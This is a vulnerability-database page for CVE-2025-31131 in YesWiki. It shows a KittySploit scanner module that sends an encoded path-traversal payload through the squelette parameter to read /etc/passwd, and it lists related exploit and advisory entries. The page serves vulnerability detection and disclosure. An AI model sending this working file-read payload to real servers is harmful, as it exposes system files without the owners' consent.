Lucene search
+L

Yeswiki < 4.5.2 - Unauthenticated Path Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 8 Views

Unauthenticated path traversal in YesWiki squelette parameter allows arbitrary file read.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Yeswiki
4 Apr 202515:31
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Yeswiki
7 Jun 202509:18
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Yeswiki
13 Nov 202621:53
–githubexploit
circl
Circl
CVE-2025-31131
1 Apr 202516:32
–circl
cnnvd
CNNVD
YesWiki path traversal vulnerability
1 Apr 202500:00
–cnnvd
cve
CVE
CVE-2025-31131
1 Apr 202514:56
–cve
cvelist
Cvelist
CVE-2025-31131 Path Traversal allowing arbitrary read of files in Yeswiki
1 Apr 202514:56
–cvelist
exploitdb
Exploit DB
YesWiki 4.5.1 - Unauthenticated Path Traversal
7 Apr 202500:00
–exploitdb
euvd
EUVD
EUVD-2025-9333
3 Oct 202520:07
–euvd
github
Github Security Blog
Yeswiki Path Traversal vulnerability allows arbitrary read of files
1 Apr 202518:31
–github
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""YesWiki is a wiki system written in PHP."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Yeswiki < 4.5.2 - Unauthenticated Path Traversal Detection',
        'description': 'YesWiki is a wiki system written in PHP. The squelette parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2025', 'yeswiki', 'lfi', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/advisories/GHSA-w34w-fvp3-68xm',
            'https://github.com/YesWiki/yeswiki/commit/f78c915369a60c74ab8f38561ae93a4aaca9b989',
            'https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w34w-fvp3-68xm',
        ],
        'cve': 'CVE-2025-31131',
    }

    def run(self):
        path = '/?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_any = ('YesWiki-main',)
        body_regexes = ('root:.*:0:0:',)
        if (any(m in headers for m in header_any)) and (any(re.search(rx, body) for rx in body_regexes)):
            self.set_info(severity='high', reason='Yeswiki < 4.5.2 - Unauthenticated Path Traversal detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.7High risk
Vulners AI Score8.7
CVSS 3.17.5 - 8.6
EPSS0.05581
SSVC
8